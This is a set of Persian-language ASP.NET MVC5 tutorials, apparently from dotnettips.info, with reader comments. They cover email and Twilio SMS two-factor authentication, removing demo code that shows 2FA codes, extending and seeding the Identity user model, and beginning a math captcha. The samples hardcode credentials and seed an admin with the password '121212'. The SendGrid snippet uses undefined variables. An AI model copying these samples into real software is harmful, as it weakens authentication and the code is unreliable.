    // uses Phone and Emails as a step of receiving a code for verifying the user
    // You can write your own provider and plug in here.
    manager.RegisterTwoFactorProvider(
        "PhoneCode",
        new PhoneNumberTokenProvider<ApplicationUser>
    {
        MessageFormat = "Your security code is: {0}"
    });

    manager.RegisterTwoFactorProvider(
        "EmailCode",
        new EmailTokenProvider<ApplicationUser>
    {
        Subject = "SecurityCode",
        BodyFormat = "Your security code is {0}"
    });

    manager.EmailService = new EmailService();
    manager.SmsService = new SmsService();

    var dataProtectionProvider = options.DataProtectionProvider;

    if (dataProtectionProvider != null)
    {
        manager.UserTokenProvider =
            new DataProtectorTokenProvider<ApplicationUser>(
                dataProtectionProvider.Create("ASP.NET Identity"));
    }

    return manager;
}
```

در قطعه کد بالا کلاس‌های EmailService و SmsService روی وهله ApplicationUserManager تنظیم می‌شوند.

```
manager.EmailService = new EmailService();
manager.SmsService = new SmsService();
```

درست در بالای این کدها می‌بینید که چگونه تامین کنندگان احراز هویت دو مرحله ای (مبتنی بر ایمیل و پیامک) رجیستر می‌شوند.

```
// Register two factor authentication providers. This application
// uses Phone and Emails as a step of receiving a code for verifying the user
// You can write your own provider and plug in here.
manager.RegisterTwoFactorProvider(
    "PhoneCode",
```

```
    new PhoneNumberTokenProvider<ApplicationUser>
{
    MessageFormat = "Your security code is: {0}"
});

manager.RegisterTwoFactorProvider(
    "EmailCode",
    new EmailTokenProvider<ApplicationUser>
    {
        Subject = "SecurityCode",
        BodyFormat = "Your security code is {0}"
    });
```

تایید حساب‌های کاربری توسط ایمیل و احراز هویت دو مرحله ای توسط ایمیل و/یا پیامک نیاز به پیاده سازی هایی معتبر از قراردارد IIdentityMessageService دارند.

پیاده سازی سرویس ایمیل توسط ایمیل خودتان

پیاده سازی سرویس ایمیل نسبتا کار ساده ای است. برای ارسال ایمیل‌ها می‌توانید از اکانت ایمیل خود و یا سرویس هایی مانند SendGrid استفاده کنید. بعنوان مثال اگر بخواهیم سرویس ایمیل را طوری پیکربندی کنیم که از یک حساب کاربری Outlook استفاده کند، مانند زیر عمل خواهیم کرد.

```
public class EmailService : IIdentityMessageService
{
    public Task SendAsync(IdentityMessage message)
    {
        // Credentials:
        var credentialUserName = "yourAccount@outlook.com";
        var sentFrom = "yourAccount@outlook.com";
        var pwd = "yourApssword";

        // Configure the client:
        System.Net.Mail.SmtpClient client =
            new System.Net.Mail.SmtpClient("smtp-mail.outlook.com");

        client.Port = 587;
        client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
        client.UseDefaultCredentials = false;

        // Creatte the credentials:
        System.Net.NetworkCredential credentials =
            new System.Net.NetworkCredential(credentialUserName, pwd);

        client.EnableSsl = true;
        client.Credentials = credentials;

        // Create the message:
        var mail =
            new System.Net.Mail.MailMessage(sentFrom, message.Destination);

        mail.Subject = message.Subject;
        mail.Body = message.Body;

        // Send:
        return client.SendMailAsync(mail);
    }
}
```

تنظیمات SMTP میزبان شما ممکن است متفاوت باشد اما مطمئنا می‌توانید مستندات لازم را پیدا کنید. اما در کل رویکرد مشابهی خواهید داشت.

پیاده سازی سرویس ایمیل با استفاده از SendGrid

سرویس‌های ایمیل متعددی وجود دارند اما یکی از گزینه‌های محبوب در جامعه دات نت SendGrid است. این سرویس API قدرتمندی برای زبان‌های برنامه نویسی مختلف فراهم کرده است. همچنین یک Web API مبتنی بر HTTP نیز در دسترس است. قابلیت دیگر اینکه این سرویس مستقیما با Windows Azure یکپارچه می‌شود.

می توانید در سایت SendGrid یک حساب کاربری رایگان بعنوان توسعه دهنده بسازید. پس از آن پیکربندی سرویس ایمیل با مرحله قبل تفاوت چندانی نخواهد داشت. پس از ایجاد حساب کاربری توسط تیم پشتیبانی SendGrid با شما تماس گرفته خواهد شد تا از صحت اطلاعات شما اطمینان حاصل شود. برای اینکار چند گزینه در اختیار دارید که بهترین آنها ایجاد یک اکانت ایمیل در دامنه وب سایتتان است. مثلا اگر هنگام ثبت نام آدرس وب سایت خود را www.yourwebsite.com وارد کرده باشید، باید ایمیلی مانند info@yourwebsite.com ایجاد کنید و توسط ایمیل فعالسازی آن را تایید کند تا تیم پشتیبانی مطمئن شود صاحب امتیاز این دامنه خودتان هستید.

تنها چیزی که در قطعه کد بالا باید تغییر کند اطلاعات حساب کاربری و تنظیمات SMTP است. توجه داشته باشید که نام کاربری و آدرس فرستنده در اینجا متفاوت هستند. در واقع می‌توانید از هر آدرسی بعنوان آدرس فرستنده استفاده کنید.

```
public class EmailService : IIdentityMessageService
{
    public Task SendAsync(IdentityMessage message)
    {
        // Credentials:
        var sendGridUserName = "yourSendGridUserName";
        var sentFrom = "whateverEmailAdressYouWant";
        var sendGridPassword = "YourSendGridPassword";

        // Configure the client:
        var client =
            new System.Net.Mail.SmtpClient("smtp.sendgrid.net", Convert.ToInt32(587));

        client.Port = 587;
        client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
        client.UseDefaultCredentials = false;

        // Creatte the credentials:
        System.Net.NetworkCredential credentials =
            new System.Net.NetworkCredential(credentialUserName, pwd);

        client.EnableSsl = true;
        client.Credentials = credentials;

        // Create the message:
        var mail =
            new System.Net.Mail.MailMessage(sentFrom, message.Destination);

        mail.Subject = message.Subject;
        mail.Body = message.Body;

        // Send:
        return client.SendMailAsync(mail);
    }
}
```

حال می‌توانیم سرویس ایمیل را تست کنیم.

آزمایش تایید حساب‌های کاربری توسط سرویس ایمیل

ابتدا اپلیکیشن را اجرا کنید و سعی کنید یک حساب کاربری جدید ثبت کنید. دقت کنید که از آدرس ایمیلی زنده که به آن دسترسی دارید استفاده کنید. اگر همه چیز بدرستی کار کند باید به صفحه ای مانند تصویر زیر هدایت شوید.

همانطور که مشاهده می‌کنید پاراگرافی در این صفحه وجود دارد که شامل لینک فعالسازی است. این لینک صرفا جهت تسهیل کار توسعه دهندگان درج می‌شود و هنگام توزیع اپلیکیشن باید آن را حذف کنید. در ادامه به این قسمت باز می‌گردیم. در این مرحله ایمیلی حاوی لینک فعالسازی باید برای شما ارسال شده باشد.

پیاده سازی سرویس SMS

برای استفاده از احراز هویت دو مرحله ای پیامکی نیاز به یک فراهم کننده SMS دارید، مانند Twilio . مانند SendGrid این سرویس نیز در جامعه دات نت بسیار محبوب است و یک C# API قدرتمند ارائه می‌کند. می‌توانید حساب کاربری رایگانی بسازید و شروع به کار کنید.

پس از ایجاد حساب کاربری یک شماره SMS، یک شناسه SID و یک شناسه Auth Token به شما داده می‌شود. شماره پیامکی خود را می‌توانید پس از ورود به سایت و پیمایش به صفحه Numbers مشاهده کنید.

شناسه‌های SID و Auth Token نیز در صفحه Dashboard قابل مشاهده هستند.

اگر دقت کنید کنار شناسه Auth Token یک آیکون قفل وجود دارد که با کلیک کردن روی آن شناسه مورد نظر نمایان می‌شود.

حال می‌توانید از سرویس Twilio در اپلیکیشن خود استفاده کنید. ابتدا بسته NuGet مورد نیاز را نصب کنید.

```
PM> Install-Package Twilio
```

پس از آن فضای نام Twilio را به بالای فایل *IdentityConfig.cs* اضافه کنید و سرویس پیامک را پیاده سازی کنید.

```
public class SmsService : IIdentityMessageService
{
    public Task SendAsync(IdentityMessage message)
    {
        string AccountSid = "YourTwilioAccountSID";
        string AuthToken = "YourTwilioAuthToken";
        string twilioPhoneNumber = "YourTwilioPhoneNumber";

        var twilio = new TwilioRestClient(AccountSid, AuthToken);

        twilio.SendSmsMessage(twilioPhoneNumber, message.Destination, message.Body);

        // Twilio does not return an async Task, so we need this:
        return Task.FromResult(0);
```

```
    }
}
```

حال که سرویس‌های ایمیل و پیامک را در اختیار داریم می‌توانیم احراز هویت دو مرحله ای را تست کنیم.

آزمایش احراز هویت دو مرحله ای

پروژه نمونه جاری طوری پیکربندی شده است که احراز هویت دو مرحله ای اختیاری است و در صورت لزوم می‌تواند برای هر کاربر بصورت جداگانه فعال شود. ابتدا توسط حساب کاربری مدیر، یا حساب کاربری ای که در قسمت تست تایید حساب کاربری ایجاد کرده اید وارد سایت شوید. سپس در سمت راست بالای صفحه روی نام کاربری خود کلیک کنید. باید صفحه ای مانند تصویر زیر را مشاهده کنید.

در این قسمت باید احراز هویت دو مرحله ای را فعال کنید و شماره تلفن خود را ثبت نمایید. پس از آن یک پیام SMS برای شما ارسال خواهد شد که توسط آن می‌توانید پروسه را تایید کنید. اگر همه چیز بدرستی کار کند این مراحل چند ثانیه بیشتر نباید زمان بگیرد، اما اگر مثلا بیش از 30 ثانیه زمان برد احتمالا اشکالی در کار است.

حال که احراز هویت دو مرحله ای فعال شده از سایت خارج شوید و مجددا سعی کنید به سایت وارد شوید. در این مرحله یک

انتخاب به شما داده می‌شود. می‌توانید کد احراز هویت دو مرحله ای خود را توسط ایمیل یا پیامک دریافت کنید.

پس از اینکه گزینه خود را انتخاب کردید، کد احراز هویت دو مرحله ای برای شما ارسال می‌شود که توسط آن می‌توانید پروسه ورود به سایت را تکمیل کنید.

حذف میانبرهای آزمایشی

همانطور که گفته شد پروژه نمونه شامل میانبرهایی برای تسهیل کار توسعه دهندگان است. در واقع اصلا نیازی به پیاده سازی سرویس‌های ایمیل و پیامک ندارید و می‌توانید با استفاده از این میانبرها حساب‌های کاربری را تایید کنید و کدهای احراز هویت دو مرحله ای را نیز مشاهده کنید. اما قطعا این میانبرها پیش از توزیع اپلیکیشن باید حذف شوند.

بدین منظور باید نماها و کدهای مربوطه را ویرایش کنیم تا اینگونه اطلاعات به کلاینت ارسال نشوند. اگر کنترلر AccountController را باز کنید و به متد Register() بروید با کد زیر مواجه خواهید شد.

```
if (result.Succeeded)
{
    var code = await UserManager.GenerateEmailConfirmationTokenAsync(user.Id);
    var callbackUrl =
        Url.Action("ConfirmEmail", "Account",
            new { userId = user.Id, code = code }, protocol: Request.Url.Scheme);

    await UserManager.SendEmailAsync(user.Id, "Confirm your account",
        "Please confirm your account by clicking this link: <a href=\"" + callbackUrl + "\">link</a>");

    // This should not be deployed in production:
    ViewBag.Link = callbackUrl;

    return View("DisplayEmail");
}

AddErrors(result);
```

همانطور که می‌بینید پیش از بازگشت از این متد، متغیر callbackUrl به ViewBag اضافه می‌شود. این خط را Comment کنید یا به کلی حذف نمایید.

نمایی که این متد باز می‌گرداند یعنی *DisplayEmail.cshtml* نیز باید ویرایش شود.

```
@{
    ViewBag.Title = "DEMO purpose Email Link";
}

<h2>@ViewBag.Title.</h2>

<p class="text-info">
    Please check your email and confirm your email address.
</p>

<p class="text-danger">
    For DEMO only: You can click this link to confirm the email: <a href="@ViewBag.Link">link</a>
    Please change this code to register an email service in IdentityConfig to send an email.
</p>
```

متد دیگری که در این کنترلر باید ویرایش شود VerifyCode() است که کد احراز هویت دو مرحله ای را به صفحه مربوطه پاس می‌دهد.

```
[AllowAnonymous]
public async Task<ActionResult> VerifyCode(string provider, string returnUrl)
{
    // Require that the user has already logged in via username/password or external login
    if (!await SignInHelper.HasBeenVerified())
    {
        return View("Error");
    }

    var user =
        await UserManager.FindByIdAsync(await SignInHelper.GetVerifiedUserIdAsync());

    if (user != null)
    {
        ViewBag.Status =
            "For DEMO purposes the current "
            + provider
            + " code is: "
            + await UserManager.GenerateTwoFactorTokenAsync(user.Id, provider);
    }

    return View(new VerifyCodeViewModel { Provider = provider, ReturnUrl = returnUrl });
}
```

همانطور که می‌بینید متغیری بنام Status به ViewBag اضافه می‌شود که باید حذف شود.

نمای این متد یعنی *VerifyCode.cshtml* نیز باید ویرایش شود.

```
@model IdentitySample.Models.VerifyCodeViewModel

@{
    ViewBag.Title = "Enter Verification Code";
}

<h2>@ViewBag.Title.</h2>

@using (Html.BeginForm("VerifyCode", "Account", new { ReturnUrl = Model.ReturnUrl }, FormMethod.Post,
new { @class = "form-horizontal", role = "form" })) {
    @Html.AntiForgeryToken()
    @Html.ValidationSummary("", new { @class = "text-danger" })
    @Html.Hidden("provider", @Model.Provider)
    <h4>@ViewBag.Status</h4>
    <hr />

    <div class="form-group">
        @Html.LabelFor(m => m.Code, new { @class = "col-md-2 control-label" })
        <div class="col-md-10">
```

```
            @Html.TextBoxFor(m => m.Code, new { @class = "form-control" })
        </div>
    </div>

    <div class="form-group">
        <div class="col-md-offset-2 col-md-10">
            <div class="checkbox">
                @Html.CheckBoxFor(m => m.RememberBrowser)
                @Html.LabelFor(m => m.RememberBrowser)
            </div>
        </div>
    </div>

    <div class="form-group">
        <div class="col-md-offset-2 col-md-10">
            <input type="submit" class="btn btn-default" value="Submit" />
        </div>
    </div>
}
```

در این فایل کافی است ViewBag.Status را حذف کنید.

از تنظیمات ایمیل و SMS محافظت کنید

در مثال جاری اطلاعاتی مانند نام کاربری و کلمه عبور، شناسه‌های SID و Auth Token همگی در کد برنامه نوشته شده اند. بهتر است چنین مقادیری را بیرون از کد اپلیکیشن نگاه دارید، مخصوصا هنگامی که پروژه را به سرویس کنترل ارسال می‌کند (مثلا مخازن عمومی مثل GitHub). بدین منظور می‌توانید یکی از پست‌های اخیر را مطالعه کنید.

نظرات خوانندگان

نویسنده: دات نت کدینگ
تاریخ: ۱۳۹۳/۰۲/۱۱ ۱۳:۱

سلام
مقاله مفیدی بود برای من، ظاهرا نمیتوان نام جداول ایجادی توسط identity را تغییر داد، من از متد OnModelCreating() هم کمک گرفتم ولی بی نتیجه بود. به شکل زیر

```
modelBuilder.Entity<IdentityUser>().ToTable("MyUserRoles");
```

ممنون میشوم راهنمایی نمایید.

نویسنده: محسن خان
تاریخ: ۱۳۹۳/۰۲/۱۱ ۱۳:۲۶

از ef-migrations برای اعمال تغییرات انجام شده استفاده کردید؟ بدون اینکار تغییری اعمال نمیشه.

نویسنده: دات نت کدینگ
تاریخ: ۱۳۹۳/۰۲/۱۴ ۰:۳۳

منظورتون اجرا کردن migration باشه، بله،
اینکار رو انجام دادین؟ شدنیه؟

نویسنده: علی
تاریخ: ۱۳۹۳/۰۳/۰۵ ۱۴:۱۹

توی این سری کدها، اون قسمت فعال سازی توسط ایمیل هنگام ثبت نام فعال هستش. اما مسئله ای که وجود داره کاربری که ثبت نام میکنه به صورت خودکار فعال هستش. حتی اگه روی اون لینکی که به ایمیل فرستاده میشه کلیک نکنه. راحت میتونه لاگین کنه. باید کجا این مسئله چک شود و چگونه؟ ممنون

نویسنده: Sam
تاریخ: ۱۳۹۳/۰۵/۰۴ ۲۳:۳۲

من از مدل لایه ای که آقای نصیری در مباحث ان تی تی کد فرست گفتن استفاد می‌کنم ، می‌خواستم بدونم که چطور میشه کلاس‌ها user identity رو به sql server به وسیله code first و migraiton انتقال داد البته با نام‌های دلخواه جداول در sql...
ممنون میشم اگر توضیح بدید،

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۵/۰۵ ۱۰:۲

در Asp.Net Identity نباید یک DbContext جداگانه ایجاد کنید. از همان ApplicationDbContext آن جهت اضافه کردن سایر مدل‌های برنامه استفاده کنید؛ به همراه سفارشی سازی و توسعه آن. مابقی مسایل و نکات آن مانند سایر مباحث متداول EF Code first است و تفاوتی نمی‌کند.

نویسنده: سام میرزاقراچه
تاریخ: ۱۳۹۳/۰۶/۰۴ ۲۲:۳

با سلام مجدد
چگونه می‌توان در Role Manager یک Property جدید اضافه کرد و یا همان بخش Custom کردن Role در Identity 2 .....

نویسنده: ربال
تاریخ: ۱۳۹۳/۰۸/۱۸ ۰:۵۰

با سلام.آیا استفاد ه از Twilio محدودیت دارد؟ یعنی اگر تو پروژه استفاده کنیم بعدا ب مشکل بر نخواهیم خورد (از جانب رایگان بودنش)
ممنون .

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۹/۲۹ ۱۳:۴۲

« اعمال تزریق وابستگی‌ها به مثال رسمی ASP.NET Identity »

نویسنده: عباس معینی
تاریخ: ۱۳۹۴/۰۱/۱۵ ۱۲:۱

با سلام؛ من یک پروژه همانطور که در ابتدا توضیح دادید ایجاد کردم. وقتی کاربر جدیدی تعریف میکنم بدون اینکه روی لینک فعال سازی کلیک کنم، لاگین میشه! ممنون میشم راهنماییم کنید.

عنوان: **نگاهی به هویت سنجی کاربران در ASP.NET MVC 5**
نویسنده: مرتضی دلیل
تاریخ: ۱۳۹۳/۰۳/۲۲ ۱۱:۵
آدرس: www.dotnettips.info
گروه‌ها: Entity framework, MVC, Security, ASP.NET Identity

در مقاله پیش رو، سعی شده‌است به شکلی تقریبا عملی، کلیاتی در مورد Authentication در MVC5 توضیح داده شود. هدف روشن شدن ابهامات اولیه در هویت سنجی MVC5 و حل شدن مشکلات اولیه برای ایجاد یک پروژه است. در MVC 4 برای دسترسی به جداول مرتبط با اعتبار سنجی (مثلا لیست کاربران) مجبور به استفاده از متدهای از پیش تعریف شده‌ی رفرنس‌هایی که برای آن نوع اعتبار سنجی وجود داشت، بودیم. راه حلی نیز برای دسترسی بهتر وجود داشت و آن هم ساختن مدل‌های مشابه آن جدول‌ها و اضافه کردن چند خط کد به برنامه بود. با اینکار دسترسی ساده به Roles و Users برای تغییر و اضافه کردن محتوای آنها ممکن می‌شد. در لینک زیر توضیحاتی در مورد روش اینکار وجود دارد.
[اینجا]

در MVC5 داستان کمی فرق کرده است. برای درک موضوع پروژه ای بسازید و حالت پیش فرض آن را تغییر ندهید و آن را اجرا کنید و ثبت نام را انجام دهید، بلافاصله تصویر زیر در دیتابیس نمایان خواهد شد.

دقت کنید بعد از ایجاد پروژه در MVC5 دو پکیج بصورت اتوماتیک از طریق Nuget به پروژه شما اضافه میشود:

```
Microsoft.AspNet.Identity.Core
Microsoft.AspNet.Identity.EntityFrameWork
```

عامل اصلی تغییرات جدید، همین دو پکیج فوق است.
اولین پکیج شامل اینترفیس‌های IUser و IRole است که شامل فیلدهای مرتبط با این دو می‌باشد. همچنین اینترفیسی به نام IUserStore وجود دارد که چندین متد داشته و وظیفه اصلی هر نوع اضافه و حذف کردن یا تغییر در کاربران، بر دوش آن است.

دومین پکیج هم وظیفه پیاده سازی آن‌چیزی را دارد که در پکیج اول معرفی شده است. کلاس‌های موجود در این پکیج ابزارهایی برای ارتباط EntityFramework با دیتابیس هستند.
اما از مقدمات فوق که بگذریم برای درک بهتر رفتار با دیتابیس یک مثال را پیاده سازی خواهیم کرد.

فرض کنید میخواهیم چنین ارتباطی را بین سه جدول در دیتابیس برقرار کنیم، فقط به منظور یادآوری، توجه کنید که جدول ASPNetUsers جدولی است که به شکل اتوماتیک پیش از این تولید شد و ما قرار است به کمک یک جدول واسط (AuthorProduct) آن را به جدول Product مرتبط سازیم تا مشخص شود هر کتاب (به عنوان محصول) به کدام کاربر (به عنوان نویسنده) مرتبط است.
بعد از اینکه مدل‌های مربوط به برنامه خود را ساختیم، اولا نیاز به ساخت کلاس کانتکست نداریم چون خود MVC5 کلاس کانتکست را دارد؛ ثانیا نیاز به ایجاد مدل برای جداول اعتبارسنجی نیست، چون کلاسی برای فیلدهای اضافی ما که علاقمندیم به جدول Users اضافه شود، از پیش تعیین گردیده است.

دو کلاسی که با فلش علامت گذاری شده اند، تنها فایل‌های موجود در پوشه مدل، بعد از ایجاد یک پروژه هستند. فایل IdentityModel را به عنوان فایل کانتکست خواهیم شناخت (چون یکی از کلاسهایش Context است). همانطور که پیش از این گفتیم با وجود این فایل نیازی به ایجاد یک کلاس مشتق شده از DbContext نیست. همانطور که در کد زیر میبینید این فایل دارای دو کلاس است:

```
namespace MyShop.Models
{
    // You can add profile data for the user by adding more properties to your ApplicationUser class,
please visit http://go.microsoft.com/fwlink/?LinkID=317594 to learn more.
    public class ApplicationUser : IdentityUser
    {
    }

    public class ApplicationDbContext : IdentityDbContext<ApplicationUser>
    {
        public ApplicationDbContext()
            : base("DefaultConnection")
        {
        }

}
```

کلاس اول همان کلاسی است که اگر به آن پراپرتی اضافه کنیم، بطور اتوماتیک آن پراپرتی به جدول ASPNetUsers در دیتابیس اضافه می‌شود و دیگر نگران فیلدهای نداشته‌ی جدول کاربران ASP.NET نخواهیم بود. مثلا در کد زیر چند عنوان به این جدول اضافه کرده ایم.

```
namespace MyShop.Models
{
    // You can add profile data for the user by adding more properties to your ApplicationUser class,
please visit http://go.microsoft.com/fwlink/?LinkID=317594 to learn more.
    public class ApplicationUser : IdentityUser
    {
        [Display(Name = "نام انگلیسی")]
        public string EnglishName { get; set; }

        [Display(Name = "نام سیستمی")]
        public string NameInSystem { get; set; }

        [Display(Name = "نام فارسی")]
        public string PersianName { get; set; }

        [Required]
        [DataType(DataType.EmailAddress)]
        [Display(Name = "آدرس ایمیل")]
        public string Email { get; set; }
     }
}
```

کلاس دوم نیز محل معرفی مدلها به منظور ایجاد در دیتابیس است. به ازای هر مدل یک جدول در دیتابیس خواهیم داشت. مثلا در

شکل فوق سه پراپرتی به جدول کاربران اضافه میشود. دقت داشته باشید با اینکه هیچ مدلی برای جدول کاربران نساخته ایم اما کلاس ApplicatioUsers کلاسی است که به ما امکان دسترسی به مقادیر این جدول را می‌دهد(دسترسی به معنای اضافه و حذف وتغییر مقادیر این جدول است) (در MVC4 به کمک کلاس membership کارهای مشابهی انجام میدادیم)

در ساختن مدل هایمان نیز اگر نیاز به ارتباط با جدول کاربران باشد، از همین کلاس فوق استفاده میکنیم. کلاس واسط(مدل واسط) بین AspNetUsers و Product در کد زیر زیر نشان داده شده است :

```
namespace MyShop.Models
{
    public class AuthorProduct
    {
        [Key]
        public int AuthorProductId { get; set; }
       /* public int UserId { get; set; }*/

        [Display(Name = "User")]
        public string ApplicationUserId { get; set; }

        public int ProductID { get; set; }

        public virtual Product Product { get; set; }

        public virtual ApplicationUser ApplicationUser { get; set; }
    }
}
```

همانطور که مشاهده میکنید، به راحتی ارتباط را برقرار کردیم و برای برقراری این ارتباط از کلاس ApplicationUser استفاده کردیم. پراپرتی ApplicationUserId نیز فیلد ارتباطی ما با جدول کاربران است. جدول product هم نکته خاصی ندارد و به شکل زیر مدل خواهد شد.

```
namespace MyShop.Models
{
    [DisplayName("محصول")]
    [DisplayPluralName("محصولات")]
    public class Product
    {
        [Key]
        public int ProductID { get; set; }

        [Display(Name = "گروه محصول")]
        [Required(ErrorMessage = "لطفا {0} را وارد کنید")]
        public int ProductGroupID { get; set; }

        [Display(Name = "مدت زمان")]
        public string Duration { get; set; }


        [Display(Name = "نام تهیه کننده")]
        public string Producer { get; set; }

        [Display(Name = "عنوان محصول")]
        [Required(ErrorMessage = "لطفا {0} را وارد کنید")]
        public string ProductTitle { get; set; }

        [StringLength(200)]
        [Display(Name = "کلید واژه")]
        public string MetaKeyword { get; set; }

        [StringLength(200)]
        [Display(Name = "توضیح")]
        public string MetaDescription { get; set; }

        [Display(Name = "شرح محصول")]
        [UIHint("RichText")]
        [AllowHtml]
        public string ProductDescription { get; set; }

        [Display(Name = "قیمت محصول")]
        [DisplayFormat(ApplyFormatInEditMode = true, DataFormatString = "{0:#,0 ریال}")]
        [UIHint("Integer")]
        [Required(ErrorMessage = "لطفا {0} را وارد کنید")]
        public int ProductPrice { get; set; }
        [Display(Name = "تاریخ ثبت محصول")]
```

```
        public DateTime? RegisterDate { get; set; }

    }
}
```

به این ترتیب هم ارتباطات را برقرار کرده‌ایم و هم از ساختن یک UserProfile اضافی خلاص شدیم.

برای پر کردن مقادیر اولیه نیز به راحتی از seed موجود در Configuration.cs مربوط به migration استفاده میکنیم. نمونه‌ی اینکار در کد زیر موجود است:

```
protected override void Seed(MyShop.Models.ApplicationDbContext context)
        {
            context.Users.AddOrUpdate(u => u.Id,
                        new ApplicationUser() {  Id = "1",EnglishName = "MortezaDalil", PersianName =
"مرتضی دلیل", UserDescription = "توضیح در مورد مرتضی", Email = "mm@mm.com", Phone = "2323", Address =
"test", NationalCode = "2222222222", ZipCode = "2222222222" },
                                new ApplicationUser() { Id = "2", EnglishName = "MarhamatZeinali",
PersianName = "محسن احمدی", UserDescription = "توضیح در مورد محسن", Email = "mm@mm.com", Phone =
"2323", Address = "test", NationalCode = "2222222222", ZipCode = "2222222222" },
                                new ApplicationUser() { Id = "3", EnglishName = "MahdiMilani", PersianName
= "مهدی محمدی", UserDescription = "توضیح در مورد مهدی", Email = "mm@mm.com", Phone = "2323", Address
= "test", NationalCode = "2222222222", ZipCode = "2222222222" },
                                new ApplicationUser() { Id = "4", EnglishName = "Babak", PersianName =
"بابک", UserDescription = "کاربر معمولی بدون توضیح", Email = "mm@mm.com", Phone = "2323", Address =
"test", NationalCode = "2222222222", ZipCode = "2222222222" }

                          );


            context.AuthorProducts.AddOrUpdate(u => u.AuthorProductId,
              new AuthorProduct() { AuthorProductId = 1, ProductID = 1, ApplicationUserId = "2" },
              new AuthorProduct() { AuthorProductId = 2, ProductID = 2, ApplicationUserId = "1" },
              new AuthorProduct() { AuthorProductId = 3, ProductID = 3, ApplicationUserId = "3" }

          );
```

می‌توانیم از کلاس‌های خود Identity برای انجام روش فوق استفاده کنیم؛ فرض کنید بخواهیم یک کاربر به نام admin و با نقش admin به سیستم اضافه کنیم.

```
if (!context.Users.Where(u => u.UserName == "Admin").Any())
            {
                var roleStore = new RoleStore<IdentityRole>(context);
                var rolemanager = new RoleManager<IdentityRole>(roleStore);

                var userstore = new UserStore<ApplicationUser>(context);
                var usermanager = new UserManager<ApplicationUser>(userstore);

                var user = new ApplicationUser {UserName = "Admin"};

                usermanager.Create(user, "121212");
                rolemanager.Create(new IdentityRole {Name = "admin"});

                usermanager.AddToRole(user.Id, "admin");
            }
```

در عبارت شرطی موجود کد فوق، ابتدا چک کردیم که چنین یوزری در دیتابیس نباشد، سپس از کلاس RoleStore که پیاده سازی شده‌ی اینترفیس IRoleStore است استفاده کردیم. سازنده این کلاس به کانتکست نیاز دارد؛ پس به آن context را به عنوان ورودی می‌دهیم. در خط بعد، کلاس rolemanager را داریم که بخشی از پکیج Core است و پیش از این درباره اش توضیح دادیم (یکی از دو رفرنسی که خوبخود به پروژه اضافه میشوند) و از ویژگی‌های Identity است. به آن آبجکتی که از RoleStore ساختیم را پاس میدهیم و خود کلاس میداند چه چیز را کجا ذخیره کند.

برای ایجاد کاربر نیز همین روند را انجام می‌دهیم. سپس یک آبجکت به نام user را از روی کلاس ApplicationUser میسازیم. برای آن پسورد 121212 سِت میکنیم و نقش ادمین را به آن نسبت میدهیم. این روش قابل تسری به تمامی بخش‌های برنامه شماست. میتوانید عملیات کنترل و مدیریت اکانت را نیز به همین شکل انجام دهید. ساخت کاربر و لاگین کردن یا مدیریت پسورد

نیز به همین شکل قابل انجام است.

بعد از آپدیت دیتابیس تغییرات را مشاهده خواهیم کرد.

نظرات خوانندگان

نویسنده: هما
تاریخ: ۱۳۹۴/۰۳/۱۲ ۲۰:۳۲

چطور میشه برای role کاربر تعریف کنیم. بعد برای هر کاربری که مدیر خواست چند کار غیر فعال کنیم. سطح دسترسی‌های مختلف منظورم هست.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۳/۱۲ ۲۰:۳۶

یک پروژه‌ی خالی را ایجاد کنید. سپس این بسته‌ی نیوگت را نصب کنید:

```
PM> Install-Package Microsoft.AspNet.Identity.Samples -Pre
```

در این مثال رسمی، صفحات افزودن role، کاربر و غیره وجود دارد. از آن ایده بگیرید.

نویسنده: هما
تاریخ: ۱۳۹۴/۰۳/۱۳ ۱۸:۳

تو این پروژه اینکه برای هر رول بیایم کار یا action تعریف کنیم وجود نداره
منظورم اینه که مثلا یه رول تعریف که میشه براش تعریف کنیم که چه کارایی می‌تونه انجام بده و حالا ممکن برای یه کاربر خاص که رول براش تعریف شده بتونیم چند کار غیر فعال کنیم
من که قبلا از این سیستم استفاده نمی‌کردم یه جدول task و UserTask تعریف می‌کردم

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۳/۱۳ ۱۸:۵۹

- ابتدا باید با فیلتر Authorize و نحوه‌ی طراحی یک برنامه بر اساس آن، آشنا باشید.
- سپس: « ... سفارشی سازی فیلتر Authorize از ارث بری از AuthorizeAttribute و سپس override کردن متد OnAuthorization آن شروع می‌شود ... »

نویسنده: احمد نواصری
تاریخ: ۱۳۹۴/۰۳/۱۴ ۰:۳۷

برای فهم هر چه بهتر مبحث Identity از کتاب Pro Asp.Net MVC5 Platform کمک بگیرید. مبحث Identity رو به صورت مفصل و روان توضیح داده.

عنوان: **ایجاد کپچایی (captcha) سریع و ساده در ASP.NET MVC 5**
نویسنده: مرتضی دلیل
تاریخ: ۱۳۹۳/۰۳/۲۶ ۹:۲۰
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, CAPTCHA

در این مثال به کمک MVC5 ، یک کپچای ساده و قابل فهم را تولید و استفاده خواهیم کرد. این نوشته بر اساس این مقاله ایجاد شده و جزئیات زیادی برای درک افراد مبتدی به آن افزوده شده است که امیدوارم راهنمای مفیدی برای علاقمندان باشد.

با کلیک راست بر روی پوشه کنترلر، یک کنترلر به منظور ایجاد کپچا بسازید و اکشن متد زیر را در آن کنترلر ایجاد کنید:

```
public class CaptchaController : Controller
    {
        public ActionResult CaptchaImage(string prefix, bool noisy = true)
        {
            var rand = new Random((int)DateTime.Now.Ticks);
            //generate new question
            int a = rand.Next(10, 99);
            int b = rand.Next(0, 9);
            var captcha = string.Format("{0} + {1} = ?", a, b);

            //store answer
            Session["Captcha" + prefix] = a + b;

            //image stream
            FileContentResult img = null;

            using (var mem = new MemoryStream())
            using (var bmp = new Bitmap(130, 30))
            using (var gfx = Graphics.FromImage((Image)bmp))
            {
                gfx.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
                gfx.SmoothingMode = SmoothingMode.AntiAlias;
                gfx.FillRectangle(Brushes.White, new Rectangle(0, 0, bmp.Width, bmp.Height));

                //add noise
                if (noisy)
                {
                    int i, r, x, y;
                    var pen = new Pen(Color.Yellow);
                    for (i = 1; i < 10; i++)
                    {
                        pen.Color = Color.FromArgb(
                        (rand.Next(0, 255)),
                        (rand.Next(0, 255)),
                        (rand.Next(0, 255)));

